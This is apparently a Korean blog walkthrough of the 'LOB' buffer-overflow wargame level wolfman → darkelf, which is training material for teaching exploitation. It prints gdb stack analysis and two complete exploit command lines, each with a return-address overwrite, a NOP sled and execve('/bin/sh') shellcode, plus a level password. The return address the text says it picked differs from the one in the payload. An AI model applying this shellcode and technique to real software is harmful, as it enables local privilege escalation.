DINGA DINGA
article thumbnail
Published 2021. 3. 14. 02:00
[LOB] wolfman → darkelf SYSTEM/LOB
728x90

1. wolfman/love eyuna로 로그인

 

2. bash2, ulimit -c unlimited 명령어 실행 후 ls -l로 디렉터리 내부 파일 확인

 

3. darkelf.c 파일 확인

환경변수, buffer 사용이 불가하고 buffer의 ret값까지만 변조할 수 있다.

 

4. gdb로 실행

우선 권한 문제 해결을 위해 darkelf를 copyelf로 복사했다.

strcpy가 실행된 후인 <main+242>에 breakpoint를 걸었다.

A 44개와 0xbfbfbfbf를 넣었다. esp를 확인해보니 아래와 같다.

첫줄부터 확인해보면 입력한 값이 성공적으로 들어간 것을 확인할 수 있다. 이것이 buffer의 주소다.

아래 0xbffffc24부터 다시 A가 확인되는데, 여기가 argv 인자값을 저장하는 스택의 주소다.

 

5. 공격 및 비밀번호 획득

위의 주소 중 적당한 값(0xbffffc84)을 골라 이용했다.

공격코드는 전 단계와 비슷하게 다음과 같이 작성했다.

./darkelf `python -c 'print "A"*44+"\x84\xf8\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

그런데 이렇게 하니 "argument if too long!"이라는 문구가 뜨며 실패했다.

그래서 주소값 뒤에 공백을 넣어 뒷부분이 argv[2]에 전달될 수 있도록 다음과 같이 수정했다.

./darkelf `python -c 'print "A"*44+"\x84\xf8\xff\xbf"+" "+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

비밀번호: kernel crashed

728x90

'SYSTEM > LOB' 카테고리의 다른 글

[LOB] orc → wolfman  (0) 2021.03.14
[LOB] goblin → orc  (0) 2021.03.14
[LOB] cobolt → goblin  (0) 2021.03.04
[LOB] gremlin → cobolt  (0) 2021.03.04
[LOB] gate → gremlin  (0) 2021.02.26